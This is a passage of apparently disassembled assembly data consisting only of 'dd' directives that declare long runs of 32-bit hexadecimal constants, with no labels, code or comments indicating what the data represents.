		dd 5F449557h, 462F5399h, 0EB7E7B32h, 0EC2B252Eh, 0C1515342h
		dd 0DD69C51Fh, 3602BC04h, 83F9F06Fh, 659DE2B0h,	0E55D34E1h
		dd 8B0CFBD7h, 0B51F01E9h, 0CFE694EEh, 8F64B00Ch, 5B16C599h
		dd 40D18E04h, 0A7515E12h, 1089DCC5h, 8253D6E0h,	7D461D42h
		dd 19CE2FE0h, 8E6DA826h, 46A7902Ch, 95B8F656h, 0E70540EAh
		dd 0C86E301h, 48171A6Eh, 374B02F1h, 63E97B46h, 0BD057E58h
		dd 36390D8Ch, 130F0CB4h, 805B0402h, 0C443C394h,	2504075Ch
		dd 0B4194E05h, 555680CBh, 411CE954h, 0B1EB25C0h, 0F712CEACh
		dd 80FFF4D6h, 0BA9C4BC5h, 0EF013108h, 5FF8215Dh, 246EC209h
		dd 172EEC53h, 0A28832F6h, 0FBD2EE43h, 0A95A0F60h, 0B5315DEBh
		dd 295F5D50h, 0F4AB0C8h, 1E866D4Ah, 0F64DCC4h, 5F72C3BAh
		dd 0C88ED241h, 17EC087Fh, 0F0CCFE59h, 0A17F4D6h, 3106E688h
		dd 9D5519E3h, 567EB724h, 0FA8CB471h, 0BE122476h, 0D0AFA659h
		dd 50538996h, 0B17513FBh, 2DE7B871h, 0B7C3E62Bh, 0FE60FD94h
		dd 3DE929F6h, 6CCE97F0h, 24A837Ch, 5590EDA2h, 0DA481A2Fh
		dd 8A1D1CAEh, 2389594Bh, 58141A03h, 0B0DFE60Dh,	1308DAC2h
		dd 5103585Eh, 0AAB475E3h, 0B010CB16h, 39C48090h, 0F694FEFFh
		dd 642AA3DCh, 42EC00A8h, 8607E4C0h, 880E53CCh, 86C3FECBh
		dd 7C145BD9h, 0C0780280h, 1DE908ECh, 359E96DAh,	0EB18CB02h
		dd 492DD95Ah, 39A9BB09h, 844E911Ch, 0AF2C6704h,	308DC10Ah
		dd 6F48B1C2h, 593D0495h, 1084BCA9h, 0F8290AD0h,	0B20CA389h
		dd 596CDE88h, 63FA42EDh, 14F287A9h, 980D0320h, 122C12AAh
		dd 0F3A30E9Dh, 5B503340h, 72BAEBD1h, 0D4FA7355h, 73B4AED6h
		dd 7FD4B165h, 0C24E468Bh, 0D5D087AAh, 0BF1AAC09h, 8938C501h
		dd 33035552h, 0B8872A87h, 11F80912h, 3FBBE74Ah,	42E12F55h
		dd 225EDA29h, 0A49821D2h, 13C13F1Dh, 9BA1EE92h,	4A55E9CCh
		dd 84562742h, 0D58ED417h, 5C51F1Bh, 87093241h, 502B21F1h
		dd 0F50C8728h, 0C2295369h, 0AE95004Eh, 1812BA0Ah, 245BDF01h
		dd 0E5B16CFh, 0A25397C0h, 148C4F37h, 0E7258164h, 0E9042A9Dh
		dd 8CF6594Fh, 182AF392h, 801FD0E9h, 5D2AE5C3h, 0A610F236h
		dd 0C2C4885Fh, 3F1D5297h
		dd 44777640h, 0D33742E9h, 2F818D3Ah, 627C7EC8h,	0D231B4F9h
		dd 5389274Dh, 9AEE14D9h, 6CA88013h, 72C82050h, 5C73640Eh
		dd 4CFC021h, 2F973Bh, 63FCBD55h, 7AE91D4Eh, 0D1054E9Ch
		dd 36C139EAh, 892FAFC4h, 4C034AA3h, 5F0D6550h, 5F594022h
		dd 0DB804516h, 3C0B31A9h, 585CE937h, 4B351DACh,	8A3E5E7Dh
		dd 62BB27F2h, 6C655854h, 103FBF95h, 5B1718D3h, 644C8629h
		dd 17588A1Ah, 4F1D43D0h, 0C06464D0h, 0B23D9383h, 1BA4654Eh
		dd 0C030547h, 0A1E2C17Ah, 1A04B097h, 398C4D42h,	5A0B01D1h
		dd 15913368h, 560C7467h, 5E122EB9h, 2CDEF15h, 0AD2CD828h
		dd 255615Bh, 26D26803h,	806A6696h, 20B3FADh, 0B489EB67h
		dd 0B0CE30F8h, 0AFC53004h, 0C90E1B0Eh, 0CE7004E5h, 0D35C22D2h
		dd 85724970h, 12A39EB5h, 0F4CCFCE9h, 5A1390B5h,	45003399h
		dd 1AA8412Ah, 1AB25EE9h, 0BA57F209h, 7CF762DCh,	55E581A4h
		dd 822D1E7Bh, 0CB1B190Ch, 8815E005h, 65E73E1Ch,	314BED37h
		dd 2C70E94Dh, 0E1662FC6h, 0BB657A1Bh, 9C7122Bh,	0B1C853CFh
		dd 0DB4EF7FFh, 2E01CCE2h, 89CB267Eh, 404949DFh,	5E53447Bh
		dd 0FD184C7Eh, 5D904D5Fh, 70411D3Ch, 6029AC1h, 1B6156C0h
		dd 9D2E79Fh, 7D477FFh, 4B0A2D51h, 478F5907h, 94AC5B75h
		dd 2EE32DA5h, 30E93B8Ch, 0E8F51936h, 0C84B3110h, 8A5395ACh
		dd 0E70B4B4Bh, 14B58AF8h, 56309D98h, 9C865D94h,	422391h
		dd 5A08B951h, 0E917635Bh, 0BAD11F57h, 0EC3CEF9Ch, 44BF2463h
		dd 5B582A9Ah, 2FA06A1h,	818D4021h, 1A070EC9h, 0F1C37BA1h
		dd 0C9E5E45h, 5402ED7Bh, 0E95340CDh, 5E15F8C0h,	2961D0BAh
		dd 2D075AD0h, 49DD1F07h, 706D2E50h, 5156093Eh, 0B2C07FE9h
		dd 0BC6F6866h, 70F88D6h, 91CFC781h, 0D70173CEh,	88BEFC2h
		dd 6CAF5702h, 0BA0992E6h, 0F00D7115h, 8035C6Eh,	0E9DFD8F4h
		dd 69DDAC24h, 0F304F59Dh, 0DBB897C6h, 42B5CF4Fh, 687267B5h
		dd 37BC4F64h, 0C93A80C9h, 0E9F0385Ch, 1E709445h, 0F590FB30h
		dd 20005868h, 9E09DAAh,	0E22D605Dh, 0C620222Ah,	0D1FE09C0h
		dd 0C1A72917h, 6820706Ch, 4322B909h, 307EE567h,	79056807h
		dd 3339DAB3h, 0F0523CD4h, 505023A2h, 0F2FF09h, 20857BE1h
		dd 148BD689h, 1A20A3A6h, 6948B4B7h, 5B43A160h, 24FC4A4h
		dd 4281B799h, 86E912B6h, 81706CE1h, 2818685Eh, 1FC6A02Ch
		dd 0BB051030h, 2DC52658h, 361399D1h, 63AB8104h,	9F726C31h
		dd 4140DB93h, 2B6D3BBFh, 0E7810248h, 1DFB1F99h,	0D8AC2641h
		dd 4901465h, 0BD3C81FFh, 34B64DD9h, 0E9EEFAE9h,	0EEDDEAC2h
		dd 6801636Dh, 2C517F45h, 0F830615Ah, 2AD2B3BFh,	0E88F43B9h
		dd 0D0272DA9h, 62517930h, 72A66884h, 2361DCDh, 55B55100h
		dd 0B359E888h, 0B030F32Fh, 2CE952A2h, 0ACBA58AAh, 69940C25h
		dd 0B95CB30Fh, 3E81384Fh, 2A8596D8h, 82BDE053h,	64E48610h
		dd 2CBE2C26h, 48C27B3Ah, 54E3E961h, 0E8372600h,	8B0D3597h
		dd 111C2C18h, 75B848ADh, 0E5C3049h, 4B5E350Ch, 5B893924h
		dd 908B7A27h, 56AA4FFDh, 3DBDF85Ah, 0AB5D9625h,	0CE16C6B2h
		dd 5C12CC06h, 0FC564140h, 0E96BB255h, 9DC0B3F0h, 54FAE293h
		dd 34E62E1h, 0A1A62BFh,	8944F821h, 96B53C4Ah, 1142A90h
		dd 68F8CE80h, 0D9896EF7h, 39592767h, 690B963Eh,	6967F435h
		dd 0E082E294h, 99FFA0Eh, 57C90870h, 0EC5B8804h,	0D9DD4B4Fh
		dd 3120953Dh, 0F0E99C0Bh, 0E7162265h, 0E475C008h, 0A27A2EAAh
		dd 11C302F0h, 0BE413D7Dh, 0C5777B5Eh, 5F16F1B2h, 0C0FEBB25h
		dd 349BEEDFh, 16EE03Bh,	4E1F1CC6h, 57D80131h, 8508A2BFh
		dd 0EE343D66h, 0C4CF82h, 4424E181h, 0D1613B1Dh,	4F4F79Ch
		dd 18F50CC0h, 90527678h, 0E78C044Dh, 0ADCE299Ah, 58238BDBh
		dd 1E30992Ah, 6D39A5C0h, 6B176166h, 90530456h, 0FEF70C09h
		dd 0BAE24F91h, 3AD56D0Bh, 0C1E80F10h, 510CEBBEh, 9F7B9E4h
		dd 3118E921h, 65A51179h, 0F4092718h, 6BCE6C5Eh,	0F116E1h
		dd 2DB2BA52h, 99E97C58h, 0FA97224Eh, 0C00FA176h, 8444DD5Ah
		dd 0B81E5028h, 7A8716B7h, 0B350730Dh, 0EE0C111h, 97D8F704h
		dd 0FDE9D762h, 0D9A9F8CBh, 35273AA7h, 8F8257DEh, 290EE45Ah
		dd 206851BAh, 0BED3490Ch, 5EF5CA4Ah, 40195CCh, 8A685DEEh
		dd 0FFFCCC7Dh, 9614149Dh, 4966A6A0h, 0CE02F711h, 0BD62710Bh
		dd 4EE188A5h, 5D9ED846h, 0EC85E4B6h, 47EC745Ah,	92849B00h
		dd 5FFB0169h, 7254294Ch, 0FD4D8702h, 702FE943h,	19F89F26h
		dd 95617F2Eh, 0D03F9520h, 4B4C8E35h, 0A412AE6Dh, 3BF9453h
		dd 4E72E91Bh, 36E37103h, 0B06A5A70h, 48530DCBh,	91493ACh
		dd 29A18545h, 267230EFh, 6425F2BBh, 3E482FC8h, 0F4AC634Ch
		dd 520EED80h, 0BA0D600Dh, 0C3400B12h, 0C0F16983h, 796AC3F2h
		dd 0E91238A0h, 2CF5AF4Bh, 2C79477Bh, 0D52ED44Ch, 8B0D95B3h
		dd 186E4C3Ch, 0FE3FA6CEh, 0E5C003CDh, 92ED8006h, 5EC926F2h
		dd 14DE8351h, 0E13C5827h, 2352F83h, 5E0C731h, 4BAFBD43h
		dd 70E2B8E9h, 0AF072061h, 0CA0C983h, 0EAF61D9Bh, 3E38A8C1h
		dd 9CCFACCDh, 0D1C20942h, 6C2F7961h, 36AD261Eh,	9F649E00h
		dd 2D68576Ch, 3E983040h, 7AF21420h, 0E91304B0h,	340FDABh
		dd 3A4858C1h, 0F1013C02h, 0AF08A27Eh, 0D5DF0F4Bh, 0D79A4E44h
		dd 90C2E227h, 14597874h, 0BFC0882Fh, 350F631Dh,	0A1004F64h
		dd 1A8CAF0h, 0BC94B0FAh, 10F28046h, 29CD651Ah, 686D55Ch
		dd 0D99FD2C5h, 846F4F12h, 0ECEDCC76h, 84A9625Dh, 5C04D3EEh
		dd 5A0BBE29h, 0D296F047h, 0D2C7ADD8h, 0E909A6F7h, 664E0D97h
		dd 12774490h, 82B1704Ah, 65F69682h, 75F88E02h, 8D33620Ch
		dd 143F0C6Eh, 0CD74C308h, 0E2982D3Bh, 94F70C65h, 1F60D1Dh
		dd 0C0084F6Ch, 0E6880E2Ah, 7668F14Bh, 0BA9F4723h, 0ADB66138h
		dd 1F0BD8A1h, 0BF820B50h, 208D3191h, 0A5637D0h,	0C8FE1F61h
		dd 6F536253h, 59843EB9h, 94DAFCDDh, 0C41F1080h,	5AA03C78h
		dd 86EA3D2Fh, 9AA5F071h, 101E09D5h, 0B5D86D5Bh,	2D02EF9Ch
		dd 4E8D281Dh, 4E96575Ah, 4F8F3949h, 407A4B8Dh, 850FC0DDh
		dd 0E99FAE21h, 9B2C42B4h, 0F00ED95Ah, 0CE9FFB27h, 5A4E9747h
		dd 1317C75Fh, 207C77A6h, 3A903398h, 9F60A609h, 68D807Bh
		dd 1277A25h, 972D2080h,	2ED2BADDh, 10688B02h, 88E32808h
		dd 810105FFh, 3709EDEAh, 97643EEh, 0B7201E56h, 0FEE97190h
		dd 0AE94B65Eh, 52C46CB2h, 7F4032BAh, 602FE82Bh,	12A47626h
		dd 0C88D8795h, 0C2B05145h, 4F059162h, 81B1C96Ah, 0E60CA4BDh
		dd 11207B42h, 4DC5F82h,	0E9EE2936h, 1EB84Dh, 69794BB8h
		dd 0E8860D3Fh, 407226A5h, 53310080h, 0EDC12E95h, 0ADE90512h
		dd 3BFBDA0h, 0F8171CD9h, 0C5E1FB31h, 1B07243h, 8CEF8106h
		dd 0F2FFB0CEh, 0ADD6684Eh, 16B6092Dh, 0ED807C54h, 33DE14DFh
		dd 40E16297h, 2C74293Dh, 3373B35h, 6C5525C9h, 7A2EE3FBh
		dd 898908E2h, 7D8302C6h, 15920A27h, 9F7CB012h, 0F1817800h
		dd 4516AA02h, 0F8BC89D4h, 76E0A82Ah, 7E85A41h, 9B746h
		dd 45B66F8h, 0C328A312h, 52EE13E4h, 0E692AE50h,	97F2FE4h
		dd 81BBE5FAh, 4E2208BAh, 0E3DB6147h, 0F9010F17h, 56278CF2h
		dd 36F65A64h, 58C97592h, 891465A3h, 0F3F6324Fh,	662A4842h
		dd 0ED019DCBh, 0D63103E1h, 0D1A02DFh, 4A860918h, 2D4F2FF9h
		dd 496FAFA5h, 6E423A46h, 0D3A77A59h, 0B8C214F8h, 7D2C9E10h
		dd 17A164Ch, 553A0552h
		dd 0BE703109h, 6A981635h, 81C2097Dh, 19584C29h,	0BEB2C501h
		dd 5EF08978h, 56040A78h, 0FFC9E1E9h, 623ECE39h,	0DDAD6439h
		dd 4C15B834h, 0EEB4B54Dh, 2574BE67h, 202DB383h,	0D0016DF8h
		dd 0BCE81497h, 13B3292Ah, 0A98B52C1h, 82D08996h, 465DE591h
		dd 145462FFh, 1645C12h,	4D07EF0Fh, 21636B30h, 6D606897h
		dd 0AEDBC38Bh, 5CE8CB10h, 5F061213h, 0B851ECF0h, 0D54E521Fh
		dd 0BC1E3F16h, 2794B5B8h, 748462AEh, 559DE35Eh,	0A52953CBh
		dd 5B80CBC5h, 3F632DF3h, 2B12CDD7h, 18615E5Ah, 0DFF7064Ah
		dd 7A34F4A0h, 0E94BE305h, 418DBFF2h, 7B25AA39h,	0E8C63869h
		dd 7848C119h, 480A755Dh, 0F25E40A6h, 0FF253502h, 21825F13h
		dd 6648DB73h, 0E083A219h, 8BB951D2h, 0CDD1A424h, 5A7FC427h
		dd 5CBBB7B0h, 5CBAC910h, 5140A583h, 149D250Bh, 0F4D24A31h
		dd 0A140DD35h, 0FE4FFAACh, 3A31BCF6h, 12195326h, 5AFB8281h
		dd 0ADA41A56h, 832F65A4h, 0D2A7BBFFh, 98CA826Fh, 0ED5DAB4h
		dd 8374160h, 15CEDC2h, 0EE8926C0h, 0CE3D5BBBh, 3D2FC2E7h
		dd 0AC5D48E1h, 68585613h, 18394953h, 0A5A05A24h, 0CE972014h
		dd 4A0722C6h, 9BA356B4h, 0D0A5E3A9h, 0F50B59E6h, 401F8240h
		dd 0EAB64D34h, 2300BB28h, 810F5739h, 2815C9E6h,	17F020F4h
		dd 0A9B4150h, 354E386Bh, 0AC5D8282h, 0FB42794Ah, 6CAAAC7Fh
		dd 3A4C4DA7h, 2119A300h, 0C385352Fh, 828B5B25h,	0D2DA8936h
		dd 0AA2320C3h, 0EDC55E5Fh, 25F72CAEh, 89C93B5Ah, 5CC7282Ah
		dd 547A34B6h, 0F604D334h, 43660333h, 30373F80h,	4F4E63h
		dd 6292E1C7h, 0E6800BDDh, 0FBAB02ECh, 5659CE21h, 58250776h
		dd 26F609C8h, 0E8037BD6h, 0CC5ECE8Ah, 0C9CFC7CCh, 7E521C18h
		dd 79E9D95Ch, 515A6604h, 6AFDD88h, 0ECB25BCCh, 0BD199B20h
		dd 82744D85h, 9192C649h, 5584098Bh, 34AA8D68h, 535E2D5Dh
		dd 0BC828FCCh, 395F17D5h, 4492FE9h, 1EFBF6DFh, 5BDD41FBh
		dd 2B0CA368h, 969A608Ch, 56462F3Dh, 9A5513BDh, 2B003A0h
		dd 0C8FE0EC8h, 0F682040Eh, 286280D0h, 4A6CE9C5h, 7BF0E409h
		dd 35BE171Eh, 3A8210D6h, 5802505Bh, 12606184h, 0B3685552h
		dd 30CC1B4Ah, 597C8AFEh, 0D1F5D28Bh, 0BF5700F9h, 77AA0601h
		dd 74C48B8h, 7AC60074h,	0C7215EA1h, 0D26527E9h,	503DD146h
		dd 0C193A454h, 80DAF681h, 0D2D501C2h, 0C1160AB4h, 30790405h
		dd 0E9835DF2h, 0EACC7CCAh, 51D3A0B4h, 9584B8B0h, 0B39FD640h
		dd 0C3CAFE80h, 4E2C048h, 92772E3Fh, 88BCE73Ch, 689390D3h
		dd 0BCAC7363h, 0C5067D2Ch, 42378069h, 0ED7E5910h, 1A1694E4h
		dd 0A089EEB1h, 29091F76h, 59D5F4D8h, 0D32A7450h, 58850519h
		dd 747EB1Eh, 1E0D184h, 0CDD43F3Ch, 0E9D82184h, 803FA062h
		dd 301BEC0Bh, 6AB356E3h, 0CF0689CDh, 9F20F9A2h,	0E7320DAh
		dd 525C26C0h, 0B5B753h,	0EFC0C7FEh, 7DE78006h, 0F312C19Fh
		dd 0BB109044h, 25FF20CDh, 4A5BE830h, 0CA20F097h, 256DCBCEh
		dd 35F92B4Ah, 0F9BF2802h, 8434E2EDh, 1F14187Bh,	2B98592Fh
		dd 9C311B8Ah, 1E95829h,	17324620h, 134ABA6Bh, 0BBAA4074h
		dd 6F267C44h, 3880148h,	7054F581h, 4026D60Fh, 9B0B68A3h
		dd 960B8903h, 493BA02Fh, 5340D3Dh, 2CD91DE9h, 0DC8D5E4Ah
		dd 0B622D21h, 4077115Ch, 212B5FFBh, 4D922DD5h, 2828EE0h
		dd 89688F32h, 0A0F55EF2h, 256EE201h, 0C13E4A97h, 47C283D0h
		dd 0FBDE4CDh, 430F12FEh, 2FBE4B01h, 4BC7E5A4h, 4BAA42C8h
		dd 0B12C2830h, 1830484Fh, 4191BBBh, 0DBF72A47h,	2B1D8043h
		dd 3A0B8C6Fh, 8004EBC1h, 0E0214742h, 584A9050h,	3A64BF5Bh
		dd 5CCE82BFh, 2E381341h, 0EDE1DD16h, 0CB26E8C1h, 0F242D84Fh
		dd 4480F341h, 70B63CB8h, 1D0CE381h, 843B1E09h, 5A427DCEh
		dd 959EC4D0h, 93C5E812h, 90B3F10Bh, 273CD7C7h, 92A808A4h
		dd 17752608h, 0D10545BCh, 3278C2E2h, 0BB7ACB46h, 7CBE4305h
		dd 8381D3F7h, 2E96DCF6h, 35AE0F5Ch, 3134CF0h, 4D673FBEh
		dd 5E66287Eh, 0CEB80082h, 0BB581B79h, 0A83FD140h, 4D65DFB6h
		dd 2BC472A8h, 18F310D8h, 7CAC06E1h, 91042EB4h, 13BD0045h
		dd 0CD014CABh, 8826FB0h, 0FCB91AD9h, 0ACA025Fh,	29665C0Bh
		dd 9D4095C8h, 97E26AD3h, 156B8058h, 5E807742h, 89106F0h
		dd 6FA0B098h, 1395B332h, 0DE4EC23Ah, 0C14504F1h, 8CC1D0EDh
		dd 12AFA69h, 9AB3C929h,	0BB0111A4h, 639069F6h, 0A05B0D70h
		dd 4F281BDh, 0C720D3E8h, 4C96A801h, 0DF82E4E4h,	0AF93752Bh
		dd 0BCA53C2h, 0E25A4256h, 9D1FECFDh, 0AC0105A4h, 255FCF3Bh
		dd 2BFF4757h, 215C0B0Eh, 0E1484F8h, 905B34EBh, 235B93Ch
		dd 25063D4Ch, 8086F3D0h, 932DB9B8h, 0F7034868h,	23F305D0h
		dd 0D7508F21h, 7835DA40h, 8DF9042Dh, 99C6099Fh,	8832016h
		dd 65BD5501h, 295B8E60h, 2AE9B05Ch, 9F9028D4h, 644E19E0h
		dd 5A2D5712h, 0FE8423A9h, 3FA3F55Fh, 20681AD8h,	0E9175B27h
		dd 0FEA5E31Eh, 946F2331h, 8909F22Fh, 0CDE5FE57h, 4FCD665Eh
		dd 0E701B9CCh, 0B42FB907h, 2434FF2h, 77B8B232h,	0B6EBE91Bh
		dd 0CBB05A81h, 0CA125263h, 30039153h, 77659121h, 1D317198h
		dd 0CCCF8141h, 0C762AF35h, 1698609Dh, 2634F2A9h, 168CFD01h
		dd 0BEDA4042h, 0C223A30Fh, 27C6293Eh, 43468546h, 46D1EC82h
		dd 975B4C85h, 0F429B093h, 42D13B15h, 86E916CDh,	0FB96DA0h
		dd 45F859ADh, 0DBF0B846h, 55D28095h, 75222948h,	9A49056h
		dd 792F0AFDh, 0D4893489h, 17CA6620h, 655C2011h,	786E0011h
		dd 0B7E92E28h, 4394BD38h, 40D2C507h, 0E5C01E20h, 48BC7D77h
		dd 0ED49D631h, 6C58A501h, 3C89E976h, 859D7810h,	6EE8DCEh
		dd 0A7AF7E91h, 0F8B63CB0h, 0E621D345h, 9C049B1Bh, 0FA9851E2h
		dd 0E5D4C64Fh, 6AA78401h, 9F1717Bh, 89280528h, 0EC4658EBh
		dd 66258F0Bh, 0E0F6C100h, 7A163E8Eh, 0C082EFE9h, 0D116755Ah
		dd 8F81F24Ah, 9030D5F7h, 78027F66h, 4BDD7F75h, 0B8361384h
		dd 0D3494F74h, 571DE148h, 3A8B396Bh, 0D7EC8917h, 210BFBB4h
		dd 9A0DD15Ah, 0ABDD5951h, 9F8706B3h, 5EF72877h,	0B2545A27h
		dd 4005D35Eh, 21AB07EEh, 3A585275h, 66145ADBh, 5E85BD01h
		dd 0D771EC9Ah, 89B33275h, 5AC7C740h, 5211E7D0h,	0F453CBE4h
		dd 4C06E85Fh, 0D65BE98Dh, 0F2BC5F16h, 580CA9F4h, 16005F48h
		dd 4F0DD8F7h, 2C9D3E38h, 5DEC8A17h, 317493AEh, 6A4BB4BCh
		dd 84EC8307h, 0B53EC433h, 700634C6h, 50E3006Eh,	0C0FEF8B0h
		dd 0C3E09734h, 2EFE809Dh, 3457F480h, 0A88973E9h, 6BED6FE5h
		dd 5D324237h, 0E9272E3Eh, 0D6DCE297h, 0AF88702Fh, 0FC9D9C9Fh
		dd 26C4BC2Dh, 0FE3DE1h,	1F11E0F1h, 55BA520Ah, 27DB7D13h
		dd 28ED6D08h, 573F2F6h,	0E0C15F21h, 48950002h, 0E66A7D25h
		dd 0E3E92A12h, 5F5C5783h, 18278888h, 0A2C02E40h, 0C49907FDh
		dd 798E433h, 0B252FC0Ch, 67C2C326h, 5E40D382h, 0C95DE9E3h
		dd 165B3BB0h, 0E5E4B20Dh, 8730069Ch, 104D4542h,	57223B0Ah
		dd 15108821h, 2354BD0Eh, 3624E1D4h, 0A24A9486h,	385B3500h
		dd 6E2C162h, 0EBAC4FEh,	99650AEAh, 0FF580Ah, 0E1804ECFh
		dd 0D109F675h, 60AFE953h, 1798BB2Bh, 0ED28501Fh, 1D22D290h
		dd 0D43F4829h, 8A12BDFDh, 0D6300AD2h, 96BF1698h, 6FBA2F17h
		dd 0F1049E7Ah, 31AE1CC3h, 6EFA4500h, 0CD262120h, 3D391659h
		dd 65AFDD5h, 7E576409h,	98549D5h, 1D8FB847h, 8CCF186h
		dd 0EACE9D4Ch, 2D8E5809h
		dd 7685C602h, 0BF53C40h, 4BFEDC22h, 8FBA52FCh, 36438CB9h
		dd 5E7ED7F9h, 0BB542053h, 4E1C3A1Dh, 81474B3Bh,	0C37E0DE3h
		dd 0C0EBD108h, 2461A5CBh, 19711973h, 835BAD9Bh,	801FA61Ah
		dd 35F3B078h, 0B8F09855h, 286988Dh, 6C673A4Bh, 1677524Dh
		dd 172D2049h, 0E1FD8376h, 4A38683Eh, 27EE37D4h,	9685DAF3h
		dd 58E2A35Ch, 552A3286h, 286DDF3h, 649D2315h, 9548B750h
		dd 929225E9h, 19BCBA07h, 0DEA51190h, 5401E4D1h,	5A83887Bh
		dd 24B94F97h, 93324BB0h, 23B0DBCEh, 44E8D127h, 0FAE72D8Ch
		dd 5D44C171h, 0F9F542FCh, 9A6C84FDh, 5ABC825Dh,	0E880545Fh
		dd 0A963D142h, 0EFCA8924h, 0C79A532Eh, 0D02E5C9Ch, 9C4D94E9h
		dd 0C1A2D2E4h, 0A1604B92h, 31EF1AE8h, 210D0A2Ch, 7356908h
		dd 6F956866h, 0E39E6D26h, 0A20554BCh, 0FBC9C770h, 0B49507Eh
		dd 0BE44C858h, 73106168h, 0F5F3215Eh, 3FD335CDh, 65D8599Ch
		dd 0C2F263B0h, 81D4BD70h, 69EF34C4h, 30F760A1h,	96FEE916h
		dd 0F0E353D2h, 5EE879Eh, 0FC65C168h, 3907C57Fh,	5B9828EEh
		dd 0B05CF6B8h, 512D2D1Dh, 0EDC00901h, 4517030Eh, 847FB772h
		dd 0FC66A1B5h, 4AB807EAh, 68F0F741h, 302A57A4h,	0A82DE93Eh
		dd 0C500EC5Ah, 59E82816h, 5453685Bh, 0F4B35162h, 54CB58FEh
		dd 11E9B104h, 0E2B8C8E0h, 68318097h, 4ADD0F3Fh,	52790428h
		dd 89E1E854h, 0C6145504h, 0E9254F9Ah, 0F41D0972h, 0D5567A5Dh
		dd 0A347E440h, 238907Fh, 49ED4451h, 7640EF29h, 520274E7h
		dd 0BFE967B4h, 1F02C4BBh, 87860CECh, 0E251D501h, 80545317h
		dd 8A7C53h, 0C38047B3h,	5BDA88CAh, 4E849FB4h, 0F6C0F028h
		dd 0B4C1FE6Eh, 654C3C00h, 57ADC15Eh, 0D48C69FDh, 49B8961Fh
		dd 0E09F1EA6h, 7A5651BCh, 36260968h, 0C28F5E34h, 17F902C3h
		dd 2F160C7Fh, 0DBD43790h, 655DE82h, 0B70E204Eh,	0C050F24Ah
		dd 20684E6h, 5C46B762h,	689D8CA0h, 0E90E3106h, 1F19298Eh
		dd 782C5BF9h, 18DBC826h, 0E9F80CB7h, 9ECAD92Ah,	7A05EA7Eh
		dd 0F2017108h, 3C08E010h, 0C2B8F75Eh, 0A5E4F74Ah, 761F16C9h
		dd 0E3DBB00Ch, 8D4B9AB0h, 28C75BD0h, 0D62F602Ch, 0F637C9F7h
		dd 0E20C3A60h, 2F629A0Fh, 84C27BE9h, 72B0E8CCh,	0B45D3640h
		dd 4D43E053h, 291D08E2h, 58122444h, 39AB8A09h, 171B0CDDh
		dd 27C0DDE9h, 3DE7AEBFh, 0CE18EFB4h, 40472B33h,	954A12F0h
		dd 20160E41h, 3B624A7Fh, 13102ED4h, 0F001132Fh,	571A2Ch
		dd 94BBE56h, 0F7897A4Dh, 16095BEh, 97055FF8h, 0E4683627h
		dd 0E44F997Bh, 0F475013Dh, 8A8CB09Eh, 0DE77EFC3h, 0B9C04922h
		dd 2120437Ah, 5ACAB5DAh, 2FD02142h, 6B6FE196h, 0BD5003h
		dd 0A966855h, 315D72F0h, 0F20F3995h, 0E2486A5Dh, 0A1CB413Fh
		dd 0DD3CDDC6h, 4C045C60h, 0B0830364h, 0CD31E108h, 0D71AD704h
		dd 1FA1A817h, 0F2838149h, 0B77A8C20h, 0E5B758A0h, 0FBC0BDC8h
		dd 5D09EA31h, 79CF6EE9h, 0A865C9A3h, 5986F420h,	0AAD82297h
		dd 0E986981Bh, 24C29A6Bh, 64D63C33h, 61E71289h,	45940916h
		dd 8844AC30h, 82D4A4h, 1D057CF2h, 0A104904Dh, 8D7A94D9h
		dd 4CC0774Fh, 454C2F73h, 3C09A719h, 0E9059E45h,	9D49BAB7h
		dd 20475AC8h, 0B909ED87h, 8F8072FBh, 22736994h,	0F65966C2h
		dd 0B93E395Ch, 75386072h, 5E1268E1h, 0C2F8C9C5h, 0F39A22EBh
		dd 7C07A382h, 6406D37Ch, 3E45A59h, 33A95ECAh, 4BAAF331h
		dd 0CA70E2E1h, 0C9681B5Fh, 1281B5BAh, 5C64EFBDh, 11852E6Dh
		dd 1448F1B8h, 0A0A2804Bh, 0ED7FB61Ah, 22CDA5Fh,	20570B89h
		dd 0B229A7E9h, 9EBF2796h, 0D5E913D1h, 84BBE495h, 0D7413A41h
		dd 674C6E1h, 4721216h, 5F44BBFEh, 2100DCEFh, 0B3055DE8h
		dd 0F6343D00h, 68C18951h, 0A438EBE0h, 2078093h,	565EBE7Dh
		dd 0A1C34E98h, 7920590Ch, 3DE4166h, 603E3C3h, 0B5515054h
		dd 9BEDD112h, 0F790A12Ah, 0C4C949Bh, 1BE713E6h,	0B7C7FFB2h
		dd 31178178h, 48EF30D7h, 402D6A82h, 0B5D19E01h,	0FF043C4h
		dd 0B28DF65Bh, 0E9564653h, 212AC848h, 7082B246h, 7AB00324h
		dd 610CF58h, 4538E9D4h,	5B8B907Dh, 9FD2A31Ah, 0BEC4FD97h
		dd 922144CCh, 9D0254F9h, 0C463DBEh, 0F9B92B01h,	0FD4B839Dh
		dd 1619690h, 52B553F8h,	1207A2F2h, 37B028E9h, 0D15A9505h
		dd 659F39B2h, 3868C1C6h, 0BE8C2F7Dh, 201B389Ch,	44E94761h
		dd 0E7219646h, 618F3901h, 6C38551Ah, 0A1F3E909h, 2942F554h
		dd 6B06E0D1h, 4DC48C96h, 13120746h, 0E72B05D6h,	5C45A291h
		dd 2D6809EDh, 811EE476h, 2C2E5875h, 0C20E9A4h, 2F53BC2Fh
		dd 0DD81514Ch, 6F54708Bh, 0E2DAF628h, 0FA087012h, 9AB00409h
		dd 0AB6F4149h, 9B30C33Dh, 718D0599h, 0D009CA25h, 4137982Fh
		dd 4AA442C4h, 3063A4D8h, 783201A2h, 37408A09h, 6490DDF6h
		dd 0E950890Bh, 9EFED84Bh, 16DF5253h, 5AD995AAh,	0CE58E984h
		dd 0E8F7FB93h, 18657C2Fh, 4A08EFC1h, 0B77FF9F3h, 0AD93979Ah
		dd 0B2E35316h, 16E1F785h, 4B07FD3Ch, 6063B0h, 0C5811DA4h
		dd 6A1634D4h, 5A0CF5ECh, 5C87BA95h, 4A4D09E4h, 26C20165h
		dd 0ACAA080Ah, 0D68E153h, 2302E01h, 0B7A4CE0h, 5D8F716h
		dd 40038EF2h, 1B071C35h, 5B73A85Dh, 5027A3Fh, 0B6A1EF4Bh
		dd 2B2F529h, 600BEDDEh,	0E030A87Fh, 30FD7D31h, 501AF27Ah
		dd 0B20710B4h, 0D1C280EAh, 0FD5EE207h, 1F68E95Ch, 0F5BA93ECh
		dd 3E355C02h, 40389B61h, 2400144h, 7654A22Dh, 3E89894Fh
		dd 0E9C15D65h, 0D98BCD27h, 0C3CB3877h, 0FE587212h, 18BE29BBh
		dd 0AB0E9D8h, 0DB96229Bh, 4440C2B5h, 0A652D868h, 145750AAh
